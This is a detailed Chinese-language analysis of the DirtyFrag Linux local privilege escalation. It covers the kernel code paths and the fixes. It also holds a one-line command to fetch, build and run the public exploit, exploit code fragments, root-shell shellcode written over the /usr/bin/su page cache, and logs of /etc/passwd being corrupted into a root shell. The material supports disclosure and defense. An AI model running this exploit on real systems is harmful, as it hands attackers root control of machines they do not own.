
2026 年 5 月 7 日,研究员 Hyunwoo Kim(@v4bel)因 embargo 被第三方提前打破,被迫公开了 DirtyFrag 漏洞。它允许任何普通用户(无需任何特权)在约 1 秒内将自己提升为 root,影响几乎所有主流 Linux 发行版,漏洞代码存续最长 9 年。
一行命令复现:
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag \ && gcc -O0 -Wall -o exp exp.c -lutil && ./expDirtyFrag 与近年两个著名漏洞同属一个漏洞类——都利用零拷贝机制修改只读文件的内存内容:
struct pipe_buffer | |||
AF_ALG | algif_aead | ||
| DirtyFrag | sk_buff |
DirtyFrag 包含两个可链式组合的变体:xfrm-ESP 变体(需要用户命名空间权限,但存在于绝大多数发行版)和 RxRPC 变体(无需任何权限,但依赖 rxrpc.ko 模块)。两者互为补充,覆盖所有主流环境。
Linux 并不直接对硬盘上的文件执行读写,而是在内存中维护一个页缓存(Page Cache)作为缓冲层。每个文件在内存中由若干 4KB 的物理页(struct page)组成,所有进程 read() 同一文件时访问的是同一组物理页:
硬盘 内存(页缓存) ┌──────────────────┐ ┌──────────────────────────┐ │ /etc/passwd │─读─▶│ page[0]: root:x:0:0:... │◀──── 进程 A 的 read() │ /usr/bin/su │ │ page[1]: daemon:x:1:1:.. │◀──── 进程 B 的 read() └──────────────────┘ └──────────────────────────┘ 所有进程共享同一组物理页关键性质:页缓存页面有写保护(PTE_WRITE 清零),普通进程无法通过 write() 修改只读文件的页缓存。但内核代码运行在 ring 0,可以通过 page_address(page) + offset 直接寻址物理页面——内核的原地加密/解密操作就是通过这种方式写入页面的。
这正是 DirtyFrag 的核心:想办法让内核代码把页缓存页面当成"自己的工作缓冲区"来写入。
普通发送路径(有拷贝,安全):
用户调用 write(sockfd, buf, n) → 数据从用户缓冲区拷贝到内核 skb 的线性区(内核私有内存) → 内核对线性区执行原地操作 → 安全零拷贝路径(无拷贝,危险):
用户调用 splice(file_fd → pipe → sockfd) → 内核把文件的页缓存页面直接挂进 skb 的 frag 列表(不拷贝) → 内核对 frag 执行原地操作 → 直接写入页缓存页面!利用代码中,每次触发用到 vmsplice + splice 的组合,精确构造出"头部在线性区、payload 在 frag"的非线性 skb:
// 步骤1:vmsplice 把 ESP header(用户栈上的普通内存)注入 pipeuint8_t hdr[24];*(uint32_t*)(hdr+0) = htonl(spi); // ESP SPI*(uint32_t*)(hdr+4) = htonl(SEQ_VAL); // 序列号低位memset(hdr+8, 0xCC, 16); // IV(值无关紧要)vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0);// → pipe 里的第一个 slot 指向 hdr 所在的内存页(内核会 copy-on-write,最终是内核私有页)// 步骤2:splice 把 /usr/bin/su(或 /etc/passwd)的页缓存页直接注入 pipeoff_t off = i * 4;splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);// → pipe 里的第二个 slot 直接引用 /usr/bin/su 的页缓存页 P,不做任何拷贝// 步骤3:splice 把 pipe 内容发送到 UDP socketsplice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);// splice_to_socket() 自动设置 MSG_SPLICE_PAGES,告知内核:// "这些数据来自文件页面引用,直接用引用,不要复制"MSG_SPLICE_PAGES 标志是关键——它告诉 __ip_append_data() 以"零拷贝 frag"模式追加数据,而不是把数据复制进新分配的内核内存。最终在 loopback 上收到的 skb 的内存布局如下:
skb(接收方看到的){ head/linear [24B]:ESP_hdr(SPI=0xDEADBE1i, seq_lo=200) + IV(0xCC*16) ↑ 内核私有内存,原地操作对它无害 frags[0] [16B]:{ page = &P, offset = i*4, size = 16 } ↑ 直接指向 /usr/bin/su 的页缓存页 P!}skb->data_len = 16 (非线性)skb_cloned(skb) = falseskb_has_frag_list(skb) = false这个 skb 形状精确地命中了两个变体的漏洞分支。
XFRM 是 Linux 内核的 IPsec 实现框架。ESP(Encapsulating Security Payload) 对网络包载荷进行加密 + 认证。每个 SA(Security Association,安全关联) 存储加密算法、密钥、序列号等信息,通过 Netlink 套接字(XFRM_MSG_NEWSA)创建。
ESN(Extended Sequence Numbers) 把重放保护序列号从 32 位扩展到 64 位:高 32 位 seq_hi + 低 32 位 seq_lo。SA 中的 replay_esn->seq_hi 由创建 SA 时的用户通过 XFRMA_REPLAY_ESN_VAL 属性自由填写,内核不做任何校验。
ESP-in-UDP 封装(UDP_ENCAP_ESPINUDP):将 ESP 包封装在 UDP 包里穿越 NAT。在 Linux 上,设置了 UDP_ENCAP_ESPINUDP 选项的 UDP socket 收到数据包时,内核会自动把 UDP 包路由到 XFRM 输入路径(xfrm4_udp_encap_rcv → xfrm_input → esp_input),而不是交给普通的 UDP 接收队列。
RxRPC 是 Andrew File System (AFS) 使用的 RPC 协议,以内核模块 rxrpc.ko 形式存在。RXKAD 是 RxRPC 的安全层(RXRPC_SECURITY_AUTH 级别),使用 fcrypt 加密算法(AFS 专用,56 位密钥,8 字节块,Feistel 结构)。
RXKAD 认证流程(challenge-response):
rxkad_verify_packet() 验证,先检 cksum,再在 rxkad_verify_packet_1() 中原地解密前 8 字节add_key("rxrpc", ...) 完全无权限要求——普通用户可以随意注册 RxRPC 密钥并指定任意会话密钥 K。
漏洞文件:net/ipv4/esp4.c,esp_input() 函数。
正常的 ESP 原地解密流程需要先调用 skb_cow_data() 把 frag 中的数据复制到内核私有缓冲区("copy-on-write"),再对私有副本原地操作。但存在一条绕过路径:
staticintesp_input(struct xfrm_state *x, struct sk_buff *skb){ ...if (!skb_cloned(skb)) {if (!skb_is_nonlinear(skb)) { // [1] 线性包:安全,合理 nfrags = 1;goto skip_cow; } elseif (!skb_has_frag_list(skb)) { // [2] 有 frag 但无 frag_list:跳过 CoW! nfrags = skb_shinfo(skb)->nr_frags; nfrags++;goto skip_cow; // ← 漏洞入口 } } err = skb_cow_data(skb, 0, &trailer); // 正常路径:复制 frag 数据到私有缓冲区 ...// goto skip_cow 后的代码:CoW 已被跳过,直接使用原 skb 的 fragskip_cow: esp_input_set_header(skb, &seqhi); // 重排 ESN 字节,skb_push(4) skb_to_sgvec(skb, sg, 0, skb->len); // frag 直接转成 SGL,page=P 就在 sg 里 aead_request_set_crypt(req, sg, sg, elen+ivlen, iv); // src=dst=sg(原地!) crypto_aead_decrypt(req);我们构造的 skb 满足:skb_cloned()=false、skb_is_nonlinear()=true(有 frag)、skb_has_frag_list()=false,精确命中 [2] 分支,跳过了对 frag 数据的 skb_cow_data 复制,frag[0] 里的页缓存页 P 作为 SGL 的一部分直接进入 src=dst 的原地解密。
写入了什么内容?追踪 crypto_authenc_esn_decrypt() 的预处理步骤
当 AEAD 算法为 authencesn(hmac(sha256), cbc(aes)) 且启用 ESN 时,正式解密之前有一个 序列号字节重排 步骤,目的是把 ESN 高位字节临时移到载荷末尾:
staticintcrypto_authenc_esn_decrypt(struct aead_request *req){ ...// 第一步:从 SGL 偏移 0 读 8 字节到临时变量 tmp[0..1]// esp_input_set_header() 已经重排线性区:// tmp[0] = SGL[0..3](原始 SPI,由 esp_input_set_header 保存到线性区头部)// tmp[1] = SGL[4..7](seq_hi,来自 SA replay_esn,攻击者完全控制) scatterwalk_map_and_copy(tmp, src, 0, 8, 0/*read*/);if (src == dst) { // 原地模式下 src==dst,成立// 第二步:把 tmp[0](seq_no_lo)写回到 SGL 偏移 4 scatterwalk_map_and_copy(tmp, dst, 4, 4, 1/*write*/); // 写线性区,无害// 第三步:把 tmp[1] 写到 SGL 的 assoclen+cryptlen 位置 scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1/*write*/);// ^^^^^^ ^^^^^^^^^^^^^^^^^// 来自 SA 的 seq_hi 精心控制的偏移 → 命中 frag(页缓存)第三步是漏洞核心。tmp[1] 的值是 SA 的 seq_hi,通过 esp_input_set_header() 写进来的:
staticvoidesp_input_set_header(struct sk_buff *skb, __be32 *seqhi){if (x->props.flags & XFRM_STATE_ESN) { esph = skb_push(skb, 4); *seqhi = esph->spi; esph->spi = esph->seq_no; esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi; // ← SA 的 replay_esn->seq_hi }}XFRM_SKB_CB(skb)->seq.input.hi 就是 SA 注册时 XFRMA_REPLAY_ESN_VAL.seq_hi 的值——攻击者完全控制的 4 字节。
攻击者通过 splice(file_fd, offset=i*4, ...) 控制 frag 在 SGL 中的偏移,并精心调整 cryptlen(ESP 载荷长度),使 assoclen + cryptlen 恰好落在 frag 页面的 i*4 偏移处,从而把 4 字节精确写入 /usr/bin/su 页缓存的 i*4 偏移位置。
AEAD 认证在写操作之后。crypto_aead_decrypt() 返回 -EBADMSG(因为 HMAC 密钥是攻击者随意填的 0xAA...),但写操作已经完成,错误被调用方忽略,页缓存修改永久生效。攻击者无需知道任何密钥。
完整触发调用链(接收端视角):
UDP 包到达 loopback udp_queue_rcv_one_skb() xfrm4_udp_encap_rcv(sk, skb) ← UDP_ENCAP_ESPINUDP 路由到 XFRM xfrm_input(skb, IPPROTO_ESP, spi=0xDEADBE1i, 0) esp_input(x, skb) pskb_may_pull(skb, 8+16) ← 确保 ESP header+IV 在线性区 // skb 不是 cloned,没有 frag_list → 命中 skip_cow 分支 esp_input_set_header(skb, &seqhi) skb_push(skb, 4) ← 在线性区前面插入 4 字节 esph->seq_no = seq.input.hi ← 写入攻击者控制的 seq_hi skb_to_sgvec(skb, sg, 0, skb->len) // sg[0] = linear 区(ESP header + IV,共 28B) // sg[1] = frag[0](page=P, off=i*4, len=16)← 页缓存页! aead_request_set_crypt(req, src=sg, dst=sg, ...) ← src=dst crypto_aead_decrypt(req) crypto_authenc_esn_decrypt(req) scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1) // assoclen+cryptlen 精心调整,落在 sg[1] 的偏移 i*4 = page P 的偏移 i*4 memcpy(page_address(P) + i*4, &seq_hi, 4) // ← 4 字节写入 /usr/bin/su 页缓存!return -EBADMSG ← 认证失败,但写操作已完成利用目标:覆盖 /usr/bin/su 页缓存的前 192 字节,植入一个迷你 root-shell ELF。
ELF 头(0x00~0x77): PT_LOAD: vaddr=0x400000, filesz/memsz=0xb8, flags=R|X e_entry = 0x400078(文件偏移 0x78)入口点 shellcode(0x78~0xb7): 31 ff xor edi, edi 31 f6 xor esi, esi 31 c0 xor eax, eax b0 6a mov al, 0x6a ; SYS_setgid(0) 0f 05 syscall b0 69 mov al, 0x69 ; SYS_setuid(0) 0f 05 syscall b0 74 mov al, 0x74 ; SYS_setgroups(0, NULL) 0f 05 syscall ... 6a 3b 58 push 0x3b; pop rax ; SYS_execve 0f 05 syscall ; execve("/bin/sh", NULL, ["TERM=xterm",NULL])数据段(0xa5~0xb7):"TERM=xterm\0" (防止 bash.bashrc 中 tput 报错)"/bin/sh\0"整个 192 字节 ELF 被硬编码在 shell_elf[] 数组中,以 4 字节为单位分成 48 块。每块对应一次 SA 注册(spi = 0xDEADBE10 + i,seq_hi = shell_elf[i*4..i*4+3] 按大端序打包为 uint32),加 48 次 splice 触发:
for (int i = 0; i < 48; i++) {uint32_t spi = 0xDEADBE10 + i;uint32_t seqhi = be32(shell_elf + i*4); // 4 字节目标值 add_xfrm_sa(spi, seqhi); // 注册 SA,seq_hi=seqhi do_one_write("/usr/bin/su", i*4, spi); // 触发一次写}48 次循环后,/usr/bin/su 的页缓存 [0, 192) 区间被完整替换。父进程 execve("/usr/bin/su") 时,内核映射修改后的页缓存,setuid-root 位使进程提权到 euid=0,入口点 shellcode 调用 setuid(0); execve("/bin/sh") 获得 root shell。
创建用户/网络命名空间的必要性:注册 XFRM SA 需要 CAP_NET_ADMIN,而在新用户命名空间内,调用者在该命名空间内是 root,自动拥有 CAP_NET_ADMIN。unshare(CLONE_NEWUSER|CLONE_NEWNET) 加上 uid/gid identity map(0 <real_uid> 1)即可获得这个权限:
unshare(CLONE_NEWUSER | CLONE_NEWNET);write_proc("/proc/self/setgroups", "deny");write_proc("/proc/self/uid_map", "0 <real_uid> 1"); // 在新 userns 里映射为 uid=0write_proc("/proc/self/gid_map", "0 <real_gid> 1");// 现在在新 netns 里拥有 CAP_NET_ADMIN,可以注册 XFRM SA// 但 /usr/bin/su 的页缓存是全局共享的,修改对宿主 userns 同样可见漏洞文件:net/rxrpc/rxkad.c,rxkad_verify_packet_1() 函数。
staticintrxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,rxrpc_seq_t seq, struct skcipher_request *req){structrxrpc_skb_priv *sp = rxrpc_skb(skb); sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8);// sp->offset = RxRPC wire header 长度 = 28 字节// → sg 直接指向 skb 偏移 28 处的 8 字节// → 如果偏移 28 处是 frag 页,sg 就指向页缓存页 Pmemset(&iv, 0, sizeof(iv)); // IV 固定为全 0 skcipher_request_set_crypt(req, sg, sg, 8, iv.x);// ^^ ^^ ← src=dst,原地! ret = crypto_skcipher_decrypt(req);// pcbc(fcrypt) 解密 8 字节,直接写入 sg 指向的页缓存页 P ...return ret; // 返回 -EPROTO(校验失败),但写操作已完成}问题与 ESP 变体完全类似:skb_to_sgvec 直接把 frag(页缓存页)转成 SGL,skcipher_request_set_crypt(req, sg, sg, ...) 指定原地模式,解密操作写入页缓存。
为什么没有走 CoW 路径? 在 rxrpc/call_event.c 中,进入解密前有一个检查:
// call_event.c 第 334 行(漏洞代码)if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && sp->hdr.securityIndex != 0 && skb_cloned(skb)) { // ← 只检查了 cloned,忘了检查非线性(有 frag) skb = skb_unshare(skb, GFP_ATOMIC); // unshare:创建私有副本}我们构造的 skb:skb_cloned() = false(没有多个引用者),所以 unshare 不会发生,带着页缓存 frag 的 skb 直接到达 rxkad_verify_packet_1()。
写入内容分析
当 IV=0、数据长度恰好是一个块(8 字节)时,PCBC 模式退化为 ECB 模式:
C = E(P ⊕ IV) = E(P ⊕ 0) = E(P) → 等价于 ECBP = D(C) ⊕ IV = D(C) ⊕ 0 = D(C) → 等价于 fcrypt_decrypt(C, K)所以实际的写入值为 fcrypt_decrypt(C, K),其中:
C:文件偏移 splice_offset 处的当前 8 字节内容("密文",实际是明文内容)K:攻击者注册的 8 字节 RxRPC 会话密钥攻击者在用户空间枚举 K,直到 fcrypt_decrypt(C, K) 输出期望的 8 字节明文。fcrypt 移植到用户空间约 600-700 万次/秒,56 位密钥空间为 2⁵⁶ ≈ 7×10¹⁶,对全部 8 字节无约束时不可行,但约束越少的字节越少时代价越低。
利用目标:清空 /etc/passwd root 条目的密码字段
/etc/passwd 第一行(root 条目,偏移 0):偏移: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ...原始: r o o t : x : 0 : 0 : r o o t : /root:/bin/bash目标:把偏移 4~5(密码字段)改为 ::,使 root 条目变成 root::0:0:...,PAM 的 nullok 选项会接受空密码,su - 无需输入密码即可获得 root shell。
由于 fcrypt 的 8 字节块宽度,攻击者设计了三次覆盖,每次覆盖 8 字节,后写覆盖前写(last-write-wins):
写 A @ 偏移 4(8B):目标 bytes 4-5 = "::",bytes 6-11 无约束 → 约束 2 字节,搜索空间 ~65536,枚举 < 1ms写 B @ 偏移 6(8B):目标 bytes 6-7 = "0:",bytes 8-13 无约束 → 约束 2 字节,搜索空间 ~65536,枚举 < 1ms写 C @ 偏移 8(8B):目标 bytes 8-9 = "0:",byte 15 = ":",bytes 10-14 ≠ 冒号/换行/空字节 → 约束 3 字节(有效),搜索空间 ~1/(256²×249) ≈ 5.4e-8,枚举约 1s三次写的重叠覆盖效果:
偏移 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15原始值: r o o t : x : 0 : 0 : r o o t :写 A 影响: [A A A A A A A A]写 B 影响: [B B B B B B B B]写 C 影响: [C C C C C C C C] ↑ C 覆盖了 B 改动的大部分,B 覆盖了 A 改动的大部分最终结果: r o o t : : 0 : 0 : * * * * * : ↑↑ 密码字段为空 ↑ 任意非特殊字符→ "root::0:0:XXXXX:/root:/bin/bash" — root 密码字段为空字符串!链式密文修正
这是 RxRPC 变体中最精妙的设计。写操作 A 执行后,文件偏移 4~11 被修改,这改变了写操作 B 看到的"密文 C_b"。B 在用户空间的搜索必须针对修改后的密文进行,否则找到的 K_B 在 B 实际触发时会写入错误的结果。
具体机制:
原始密文 Cb = passwd[6..13] = 3a303a303a726f6f写操作 A 执行后: passwd[4..11] 被替换为 P_A = 3a3ad73bdbcea361 ("::.;...a") → B 在触发时实际看到的密文 Cb_actual: Cb_actual[0..5] = P_A[2..7] = d73bdbcea361 ← A 结果的后 6 字节(6B) Cb_actual[6..7] = 原始 passwd[12..13] = 6f6f ← 未被 A 覆盖的原始值 完整 Cb_actual = d73bdbcea3616f6f(8B,与日志吻合)搜索 K_B 时必须用 Cb_actual 而非原始 Cb,确保 fcrypt_decrypt(Cb_actual, K_B) 输出正确明文代码中的处理:
find_K(Ca, check_pa, &Ka, &Pa); // Pa = fcrypt_decrypt(Ca, Ka)memcpy(Cb_actual, Pa+2, 6); // 链式修正memcpy(Cb_actual+6, Cb+6, 2);find_K(Cb_actual, check_pb, &Kb, &Pb);memcpy(Cc_actual, Pb+2, 6);memcpy(Cc_actual+6, Cc+6, 2);find_K(Cc_actual, check_pc, &Kc, &Pc);触发时如何通过 cksum 检查
rxkad_verify_packet_1() 只在 rxkad_verify_packet() 通过 cksum 检查后才被调用。cksum 是用会话密钥 K 计算的,攻击者必须正确计算 cksum,让 DATA 包通过第一层验证,才能到达原地解密的漏洞点。
cksum 的两阶段计算(均可在用户空间通过 AF_ALG(pcbc(fcrypt)) 完成):
// 阶段一:计算 csum_iv(ref: rxkad_prime_packet_security)uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix=2) };PCBC_encrypt(in, 16, key=K, IV=K) → out[16]csum_iv = out[8..15]// 阶段二:计算 wire cksum(ref: rxkad_secure_packet)uint32_t buf[2] = { htonl(call_id), htonl((cid&3)<<30 | (seq&0x3fffffff)) };PCBC_encrypt(buf, 8, key=K, IV=csum_iv) → enc[8]cksum = (ntohl(enc[1]) >> 16) & 0xffff;if (cksum == 0) cksum = 1;攻击者伪造的 DATA 包携带正确的 cksum,通过第一层检查,顺利触发 rxkad_verify_packet_1() 的原地解密。
为什么需要伪造的"服务端"
AF_RXRPC 客户端的安全上下文(会话密钥 K)只在完成 challenge-response 握手后才建立。攻击者用一个普通 UDP socket 充当"假服务端",在握手阶段发送伪造的 CHALLENGE 包(type=6,nonce=0xDEADBEEF),让客户端完成应答,从而在 conn->rxkad.cipher 里建立以 K 为密钥的 pcbc(fcrypt) 上下文。之后"假服务端"再直接发 DATA 包(携带正确 cksum、含 splice 了页缓存的 frag),触发漏洞。
两个变体的盲点互补:
| 权限要求 | unshare(CLONE_NEWUSER) | |
| 模块依赖 | esp4.ko | rxrpc.ko |
| Ubuntu AppArmor | ||
| RHEL/CentOS/Fedora | rxrpc.ko |
链式逻辑(main() 伪代码):
// 在子进程里尝试 ESP 变体pid = fork();if (pid == 0) { setup_userns_netns(); // unshare(USER|NET) + 配置 lofor i in 0..47: add_xfrm_sa(spi=0xDEADBE10+i, seq_hi=shell_elf[i*4..+4]) do_one_write("/usr/bin/su", off=i*4, spi)exit(0);}waitpid(pid, &st, 0);// 验证 ESP 是否成功(检查 /usr/bin/su 页缓存前两字节是否为 shellcode 首字节)if (verify_byte("/usr/bin/su", 0x78, 0x31) == 0 && verify_byte("/usr/bin/su", 0x79, 0xff) == 0) { forkpty + execve("/usr/bin/su") // ESP 成功:直接弹 root shellreturn;}// ESP 失败,回退到 RxRPC 变体rxrpc_lpe_main(); // 暴力枚举 K → 三次触发 → 修改 /etc/passwd → PAM nullok → root shell容器因不具备 CAP_SYS_ADMIN,/proc/self/uid_map 写入受限,同时 add_key("rxrpc",...) 也受容器 seccomp 限制,两个变体均无法在容器内触发。利用在宿主机以普通用户 hx 直接运行。
docker cp exp.c mimo:/tmp/exp.cdocker exec mimo gcc -O0 -Wall -o /tmp/exp /tmp/exp.c -lutil # 编译通过,无警告[su] uid_map: Operation not permitted[su] corruption stage failed (status=0x100)ESP 变体失败:unshare(CLONE_NEWUSER) 成功,但向 /proc/self/uid_map 写 identity map 时被 LSM 拒绝(宿主机有写入限制)。子进程以非零退出,verify_byte 检查失败,自动回退到 RxRPC 变体。
=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===[*] uid=1000 euid=1000 gid=1000RxRPC 变体以原始普通用户身份开始执行。
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)socket(AF_RXRPC, SOCK_SEQPACKET, PF_RXRPC) 触发内核的模块自动加载机制(MODULE_ALIAS_NETPROTO(PF_RXRPC)),rxrpc.ko 及依赖的 fcrypt.ko、pcbc.ko 全部自动加载,无需手动 modprobe,无需任何权限。
[+] target /etc/passwd opened RO, size=1884, uid=0 gid=0 mode=0644[+] mmap'd /etc/passwd page-cache at 0x7e0e50a4c000 (PROT_READ|MAP_SHARED)以 O_RDONLY 打开 /etc/passwd,mmap(PROT_READ|MAP_SHARED) 建立只读映射。通过 mmap 地址可以观测页缓存内容变化,但无法通过 mmap 写入(会触发 SIGSEGV)。
[+] /etc/passwd line 1 first 16 bytes:72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a[*] /etc/passwd line 1 (root entry) BEFORE: 'root:x:0:0:root:/root:/bin/bash'读取当前页缓存内容确认为正常的 root 条目。
[+] Ca @ 4: 3a783a303a303a72 ":x:0:0:r"[+] Cb @ 6: 3a303a303a726f6f ":0:0:roo"[+] Cc @ 8: 3a303a726f6f743a ":0:root:"[+] fcrypt selftest OK读取三个写操作位置的初始 8 字节内容(这些字节将作为 fcrypt 解密的"密文"输入)。用户空间 fcrypt 自检通过,确认与内核实现一致。
=== STAGE 1a: search K_A (chars 4-5 := "::") prob ~1.5e-5 ===[+] K_A found after 51279 iters in 0.01s (5.96M/s) K=416a6bbf0458d73c P=3a3ad73bdbcea361 "::.;...a"[+] Cb_actual (after splice A) = d73bdbcea3616f6f枚举 K_A:共 51279 次,耗时 0.01s。找到的 K_A 使 fcrypt_decrypt(Ca=3a783a303a303a72, K_A) = P_A = 3a3ad73bdbcea361,P_A 的前 2 字节为 3a3a(即 "::")。写 A 执行后,偏移 4~11 变为 P_A,因此 B 实际看到的密文 Cb_actual = P_A[2..7] || passwd[12..13] = d73bdbcea361 + 6f6f = d73bdbcea3616f6f。
=== STAGE 1b: search K_B (chars 6-7 := "0:") prob ~1.5e-5 ===[+] K_B found after 5479 iters in 0.00s (5.83M/s) K=a5211f46500c61fc P=303a487c60890051 "0:H|`..Q"[+] Cc_actual (after splice B) = 487c60890051743a枚举 K_B:5479 次,几乎瞬间完成。链式修正同理,Cc_actual = P_B[2..7] || passwd[14..15] = 487c60890051 + 743a = 487c60890051743a。
=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:") prob ~5.4e-8 ===[+] K_C found after 5970015 iters in 0.88s (6.77M/s) K=06b60114149bb5e0 P=303a628a862dc33a "0:b..-.:"枚举 K_C:约 600 万次,0.88 秒。约束更多(bytes 8-9 固定为 "0:",byte 15 固定为 ":"),概率更低但仍在秒级可行。P_C 的 bytes 8-9 = 30 3a("0:"),bytes 10-14 = 62 2e 2e 2d 2e("b..-.:"均非冒号/换行/空),byte 15 = 3a(":")。
[+] Predicted post-corruption /etc/passwd line 1:"root::0:0:b..-.:/root:/bin/bash"拼合三次写操作的预期结果:密码字段(偏移 4-5)变为空字符串 ::,uid=0、gid=0 字段完整,GECOS 字段(偏移 10-14)为 b..-. (任意内容,不影响认证),分隔符 : 全部正确。
=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===[+] plain UDP fake-server bound :7779[+] AF_RXRPC client bound :7780[+] client sendmsg 8 B → :7779 (handshake will follow asynchronously)依次建立 UDP 假服务端(:7779)和 AF_RXRPC 客户端(:7780)。客户端发出 DATA 包触发握手。内核 io_thread 处理 CHALLENGE/RESPONSE,在客户端 conn 上建立以 K_A 为密钥的 pcbc(fcrypt) 上下文。假服务端随后发送携带正确 cksum 且 frag 引用 /etc/passwd 偏移 4 处页缓存的 DATA 包。recvmsg() 触发 rxkad_verify_packet_1() 原地解密,fcrypt_decrypt(passwd[4..11], K_A) 写入 passwd 页缓存偏移 4~11。
(Stage 2b、2c 同理,依次写偏移 6 和偏移 8)[*] /etc/passwd line 1 (root entry) AFTER: 'root::0:0:b..-.:/root:/bin/bash'[!!!] HIT — root entry now has empty passwd field, uid=0, gid=0, dir=/root, shell=/bin/bash三次写完成,通过 mmap 观测到页缓存已修改,与预测完全一致。
=== STAGE 3: independent verify via `getent passwd root` ===[getent passwd root] root::0:0:b..-.:/root:/bin/bash[+] PRIMITIVE proven: root entry has empty passwd field via NSS.root@orz:~#getent 通过 NSS 调用 libc 再读 /etc/passwd,走页缓存,看到修改后的结果。su - 时 PAM pam_unix.so 遇到空密码字段,nullok 选项允许通过,su 执行 setresuid(0,0,0) 后 exec /bin/bash,得到 root shell。
全程耗时:暴力枚举约 0.9 秒,三次握手触发约 1 秒,总计约 2 秒内完成,完全确定性,无竞态条件。
# 利用成功后读取(走页缓存):$ head -1 /etc/passwdroot::0:0:b..-.:/root:/bin/bash ← 页缓存已被篡改# 丢弃页缓存,强制从磁盘重读:$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'$ head -1 /etc/passwdroot:x:0:0:root:/root:/bin/bash ← 磁盘原始内容完好无损第二次运行 exp(在页缓存仍被修改期间),exploit 检测到已修改状态并直接弹 shell:
[+] /etc/passwd already patched (root::0:0...) — nothing to doroot@orz:~# ← 直接弹出 root shell这证明页缓存修改在同一系统上具有持久性,直到重启或 drop_caches。
修复者:Kuan-Ting Chen。核心思路是在来源处打标记,而不是在使用处做限制。
// net/ipv4/ip_output.c(IPv4 数据追加路径)// 当 splice 把文件页面以零拷贝方式追加到 skb 时,打 SKBFL_SHARED_FRAG 标志+ if (!(flags & MSG_NO_SHARED_FRAGS))+ skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;// net/ipv4/esp4.c(ESP 输入路径)// skip_cow 分支新增条件:有外部共享 frag 时不跳过 CoW- } else if (!skb_has_frag_list(skb)) {+ } else if (!skb_has_frag_list(skb) &&+ !skb_has_shared_frag(skb)) {IPv6 路径(net/ipv6/esp6.c 和 net/ipv6/ip6_output.c)同理修复。
skb_has_shared_frag() 检查 skb_shinfo(skb)->flags & SKBFL_SHARED_FRAG。SKBFL_SHARED_FRAG 在 MSG_NO_SHARED_FRAGS 未设置时由 splice_to_socket() 的零拷贝路径设置,所以来自 vmsplice 的"内核私有" frag 不会被误判——vmsplice 的 frag 最终经过 copy-on-write 成为内核私有页,走的是 MSG_NO_SHARED_FRAGS 路径。
修复者:Hyunwoo Kim。修复位置有两处,均是补全"非线性包(有 frag)也必须先拷贝"的条件:
// net/rxrpc/call_event.c — 数据包处理前的 unshare 检查- if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && ... && skb_cloned(skb)) {+ if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && ... && (skb_cloned(skb) || skb->data_len)) { skb = skb_unshare(skb, GFP_ATOMIC);// net/rxrpc/conn_event.c — RESPONSE 包处理前的 unshare 检查- if (skb_cloned(skb)) {+ if (skb_cloned(skb) || skb->data_len) { skb = skb_copy(...);skb->data_len > 0 意味着 skb 有非线性部分(frag),必须先 skb_unshare/skb_copy 创建私有副本,才能执行原地解密。
# 阻止三个相关模块被加载(即使以 root 也不能手动 modprobe 它们)sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \ > /etc/modprobe.d/dirtyfrag.conf"# 卸载已加载的模块sudo rmmod esp4 esp6 rxrpc 2>/dev/null副作用:
esp4/esp6:影响基于 ESP 的 IPsec VPN(IKEv1/IKEv2)rxrpc:影响 OpenAFS 客户端(大多数桌面用户无感知)cac2661c53f3 | |
2dc334f1a63a | |
| 2026-05-07 | 不相关第三方公开发布 exploit,破坏 embargo |
这个漏洞类可以用一个统一模型描述:攻击者无法直接写只读文件的页缓存,但内核在执行加密/解密操作时可以。攻击者的工作是把页缓存页面伪装成内核自己的工作缓冲区,让内核"代劳"写入。
正常状态: 用户 ──write()──▶ EPERM(没有写权限) 内核代码 ──直接写──▶ 页缓存(ring 0,无限制)攻击者的做法: 用户 ──splice()──▶ 把页缓存页面塞进 skb frag 伪造网络包 ──触发内核加密/解密──▶ 内核以为在写自己的缓冲区 实际上写入的是页缓存页面 ← "中间人代写"这种模式之所以难以防御,是因为"内核是否在操作自己的私有内存"这个问题,在 C 语言层面没有内建的静态保证。struct page * 既可以指向内核分配的页,也可以指向来自 splice() 的文件页,两者在类型系统上完全无法区分。
[0, PAGE_SIZE) 区间)。传统的内核安全缓解措施对 DirtyFrag 完全无效,这也是它威胁性强的原因之一。
pipe_write() 路径检查 PIPE_BUF_FLAG_CAN_MERGE | ||
algif_aead 加入黑名单(许多发行版的做法) | ||
SKBFL_SHARED_FRAG 标记 + 在 esp_input 检查 |
SKBFL_SHARED_FRAG 标记方案的优势在于它是系统性的:一旦页面被标记为"来自外部共享",未来任何新增的原地操作路径只需检查这个标记,不需要重新审计 splice 路径。这是从"逐漏洞打补丁"向"建立内核不变式"的进化。
ESP 变体的利用依赖一个微妙的时序:AEAD 认证在写操作之后才执行。标准的安全原则是 Authenticate-then-Decrypt(先认证后解密),这样即使认证失败也不会产生任何副作用。但 authencesn 的 ESN 预处理步骤(移动高位序列号)必须在 AEAD 操作之前完成,导致产生了一个"写已发生但认证失败"的时间窗口,在正常路径下(写入的是内核私有缓冲区)这无关紧要,在攻击路径下(写入的是页缓存)则成为利用条件。
